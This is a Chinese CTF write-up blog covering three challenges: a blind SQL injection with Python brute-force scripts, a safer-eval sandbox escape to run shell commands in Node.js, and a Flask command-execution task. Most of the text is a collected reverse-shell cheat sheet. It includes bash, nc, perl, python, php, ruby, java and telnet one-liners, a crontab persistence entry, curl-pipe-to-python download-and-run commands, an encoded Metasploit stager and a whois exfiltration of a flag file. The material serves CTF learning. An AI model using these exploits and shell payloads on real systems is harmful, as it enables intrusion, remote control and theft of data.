[GYCTF2020]Ezsqli

这回sql注入跑不了把!

image-20210201211727835

老哥好像又见面了!!!大佬👀👀👀

注入点判断

发现下面的数据框好像 只有 1和2有结果!!!

image-20210201212110760

试了试发现注入点了!

FUZZ一下

发现过滤了:

过滤了if
sleep
and
or
information
ord

刚刚发现可以 异或

image-20210201213424534

sleep班了咋高!

没关系和之前做的一个题一样!

错了!还是学到了新东西的!

他把information办了!看了wp是用 sys.x$schema_flattened_keys或者sys.schema_table_statistics_with_buffer替换的!

聊一聊bypass information_schema:

https://www.anquanke.com/post/id/193512

看看mysql5.7版本以上的!

视图

数据库中的数据都是存储在表中的,而视图只是一个或多个表依照某个条件组合而成的结果集,一般来说你可以用update,insert,delete等sql语句修改表中的数据,而对视图只能进行select操作。 2.视图是抽象的,他在使用时,从表里提取出数据,形成虚的表。

无列名注入

CTF|mysql之无列名注入:

https://zhuanlan.zhihu.com/p/98206699

这种是要先知道字段数的!!!

用ascii位偏移

image-20210202122718595

当我们不知道有多少字段时!而且有报错回显时!

可以用我们还可以通过join和join…..using(这个是在已经通过join得到了一个字段名后使用)来获取列名。

img

image-20210202141849753

看这个题:

payload:

爆表
2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}

0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={})

再利用ascii位偏移爆数据!
((select 1,"f")>(select * from f1ag_1s_h3r3_hhhhh))

exp1

import requests
url = 'http://7bb70900-07d6-4522-bc0b-ab0a82688e98.node3.buuoj.cn/'
#0^payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'

payload = "0^(ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={})"

result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
#print(py)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

exp2

import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

注意一下:

1先去试一试:有几个字段:

id=0^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh))

select 1|select 1,2|select 1,2,3试试就好

2for循环是下合上开的!

image-20210202145808513

3ascii位偏移相等是时候是0!

在这里插入图片描述

而且mysql不区分大小写!!!

image-20210202150056278

flag没大写!!!🙄

0^(ascii(substr(left((select/**/group_concat(flag)/**/from/**/f1ag_1s_h3r3_hhhhh),10),1,1))>20)

0^(ascii(substr(left((select/**/group_concat(flag)/**/from/**/f1ag_1s_h3r3_hhhhh),10),,1))>20)

flag{

0^(ascii(substr(mid((select/**/group_concat(flag)/**/from/**/f1ag_1s_h3r3_hhhhh),2,9),,1))>20)

flag{7fa3
{7fa3366
7fa+3668-
7fa
68-
98e
-98e6-

-415

150-
0-8
8f53-8ab
be75d7
d7d
d7d2be}

flag{7fa33668-98e6-4150-8f53-8abe75d7d2be}

看个大佬的exp:

# coding:utf-8 
import requests
import time
url = 'http://7bb70900-07d6-4522-bc0b-ab0a82688e98.node3.buuoj.cn/'
def str_hex(s): #十六进制转换 fl ==> 0x666c
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res

res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
#payload = '1^(ascii(substr(database(),{},1))>{})'.format(i,mid) #爆库
#payload = '1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{},1))>{})'.format(i,mid) #爆表
payload = '0^(ascii(substr(mid((select/**/group_concat(flag)/**/from/**/f1ag_1s_h3r3_hhhhh),40,50),{},1))>{})'.format(i,mid) #猜测f1ag_1s_h3r3_hhhhh中的列名为flag
key = (str_hex(res+chr(mid)))
#payload = "0 ^ ( (select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)
print(payload)
data = {
'id':payload
}
r = requests.post(url = url, data = data)
if r.status_code == 429:
print('too fast')
time.sleep(2)
if 'Nu1L' in r.text:
left = mid + 1
elif 'Nu1L' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
res += chr(mid) #爆表
print(res)
#res += chr(mid-1) #爆flag
#print(str(mid),res)
#give_grandpa_pa_pa_pa
#news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
#flag{8ebdb3ac-1d0e-47f3-82d5-ef5b4d20fe70}

[GKCTF2020]EZ三剑客-EzNode

image-20210202154309426

看题目是考nodejs的吗!

image-20210202154350884

算个1+1都超时!

看看了源码!是nodejs

express框架!学一下!

😶

算了,记住把!!!

在nodejs里
(req.query.delay)
相当于get接收数据

(req.body.e)
post接收数据!!!
先把最基础了解了!

把路由都打开看看!!!

/eval   坑定可以执行!(名字折磨明显!)
/version

这里直接上网收 “safer-eval”: “1.3.6”漏洞POC

tcl!收到也不会用呀!!!

而且这github咋看的!

const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));

tnl

我是真的垃圾!

找都找不到!

最后还是看wp!

找到了找到了!玩个渗透链浏览器都用不好!玩蛇!

https://github.com/commenthol/safer-eval/issues/10

poc:

const saferEval = require("./src/index");

const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

interger超过2147483647可以使int溢出

最后

payload:

?delay=999999999
e=(function () {

const process = clearImmediate.constructor("return process;")();

return process.mainModule.require("child_process").execSync("cat /flag").toString()})()


e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

其实我不太懂e参数是咋传的!

脑壳疼🙄🙄🙄🙄

[V&N2020 公开赛]CHECKIN

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

一看就是flask框架!虽然没学过!但是语言语言差不多!框架也都差不多!

🙄一访问shell就删除flag!

难道要条件竞争!

屁屁:一删除就没了!还竞争个鬼呀!

反弹shell再次学习

只要服务器有的脚本语言!都可以用来反弹shell

要先反弹shell!

反弹shell payload总结

linux下反弹shell

只要是脚本语言好像就可以反弹shell!

ssh root@node3.buuoj.cn:26889

局域网地址范围分三类,以下 IP 段为内网 IP 段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255

A类:10.0.0.0 - 10.255.255.255

测试

一下都实验了一遍:不自己玩一下感觉容易忘!🙄

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.16.138.110',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"


bash -i >& /dev/tcp/1.1.1.1/5555 0>&1

nc -e /bin/sh 1.1.1.1 5555

perl -e 'use Socket;$i="1.1.1.1";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.1.1.1:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

没安装远程就不测远程了!
mknod backpipe p && telnet 1.1.1.1 5555 0<backpipe | /bin/bash 1>backpipe

php -r '$sock=fsockopen("1.1.1.1",5555);exec("/bin/sh -i <&3 >&3 2>&3");'
curl 1.1.1.1/2.php|php


ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",5555).to_i;exec sprintf("/bin/bash -i <&%d >&%d 2>&%d",f,f,f)'
这个会报错!sh: 1: 7: Bad file descriptor。文件描述符报错,

下面这个可以!
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'


perl

image-20210202210724384

php

image-20210202211450827

ruby

先去学一下!

感觉和perl一样!服务器脚本语言!

whois

image-20210202222119080

直接超的大佬的总结:

0x01 bash版本:

bash -i >& /dev/tcp/attackerip/1234 0>&1

bash -c "bash -i >&/dev/tcp/8.111.1.1/5555 0>&1"

注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。

0x02 nc版本:

支持-e选项

nc -e /bin/sh attackerip 1234

这个方式最简单
不能使用-e选项时:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f

0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

0x04 Perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x05 Python版本:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代码:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

0x06 php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

0x07 java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

0x08 ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x09 crontab定时任务:

这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置

* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1

最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh

大佬总结版

whois

whois -h 1.1.1.1 -p 5555 `cat flag`

bash版本

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持。

Perl版本

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

下面这个可以说是上面的升级版了。

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

nc 版

nc -e /bin/sh 10.0.0.1 1234

版本问题或不支持-e可使用:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

python 版

应该是python2和python3通用的(测试用的python2.7):

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.131.72.215",1));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

或者:

python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('8.131.72.215',1))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

nc: getnameinfo: temporary failure in name resolution怎么办

2020年8月26日 — 问题:阿里云服务器使用nc -lvvp 7777 监听端口报错:nc: getnameinfo: Temporary failure in name resolution解决加个参数nnc -lvnp 7777.

主要 要先去监听!再反弹!!!

curl版

#!/usr/bin/python
#-*- coding: utf- -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("1.1.1.1",5555)) #外网vps
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])


#!/usr/bin/python
#-*- coding: utf- -*-
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("1.1.1.1",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

curl 1.1.1.1/1.py|python
curl 1.1.1.1/1.txt|python

Telnet版本

当nc不可用或/dev/tcp不可用时可以考虑:

mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe

php版本

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("47.94.0.250",1);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen(getenv(""),getenv(""));exec("/bin/sh -i <&3 >&3 2>&3");'
curl版
<?php
$sock=fsockopen("192.168.43.151",);//自己的外网ip,端口任意
exec("/bin/sh -i <&3 >&3 2>&3");
?>

Ruby版

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

java版

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()